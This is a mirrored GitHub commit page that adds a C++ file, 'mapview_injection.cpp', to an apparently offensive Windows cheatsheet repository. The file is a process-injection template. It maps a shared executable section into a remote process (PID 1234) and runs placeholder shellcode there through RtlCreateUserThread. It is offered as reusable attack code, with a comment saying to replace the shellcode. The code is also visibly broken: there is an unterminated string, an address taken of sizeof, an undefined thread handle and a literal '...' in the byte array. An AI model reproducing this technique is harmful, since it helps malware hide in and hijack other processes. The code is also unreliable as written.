admin/matthieu-hackwitharts-Win32_Offensive_Cheatsheet
1
0
Fork 0
mirror of https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet synced 2026-06-08 15:46:38 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
matthieu-hackwitharts
2023-03-30 09:35:22 +02:00
committed by GitHub
parent 05f8df961f
commit 4e49f9c021
1 changed files with 51 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
shellcode_samples/mapview_injection.cpp
+51
View File
@@ -0,0 +1,51 @@
#include <iostream>
#include <Windows.h>
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
typedef NTSTATUS(NTAPI *myNtCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
typedef NTSTATUS(NTAPI *myNtMapViewOfSection)(HANDLE SectionHandle,HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
typedef FARPROC (WINAPI * myRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientId);
int main(){
char shellcode[] = {0x45,0x54,0x2b...,0x0}; //replace with your shellcode
myNtCreateSection NtCreateSection = (myNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtCreateSection);
myNtMapViewOfSection NtMapViewOfSection = (myNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtMapViewOfSection");
HANDLE section;
NTSTATUS success_section = NtCreateSection(&section,SECTION_ALL_ACCESS,NULL,(PLARGE_INTEGER)&(sizeof(shellcode)),PAGE_EXECUTE_READWRITE,SEC_COMMIT,NULL);
PVOID base_addr = NULL;
NTSTATUS success_view = NtMapViewOfSection(section,GetCurrentProcess(),&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_READWRITE);
memcpy(base_addr,shellcode,sizeof(shellcode));
HANDLE remote_proc = OpenProcess(PROCESS_ALL_ACCESS,NULL,1234);
NTSTATUS success_remote = NtMapViewOfSection(section,remote_proc,&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_EXECUTE_READ);
HANDLE thread = NULL;
CLIENT_ID cid;
myRtlCreateUserThread RtlCreateUserThread = (myRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll.dll"),"RtlCreateUserThread");
RtlCreateUserThread(remote_proc, NULL, FALSE, 0, 0, 0, base_addr, 0, &hThread, &cid);
if (thread != NULL) {
WaitForSingleObject(thread, 500);
CloseHandle(thread);
return 0;
}
}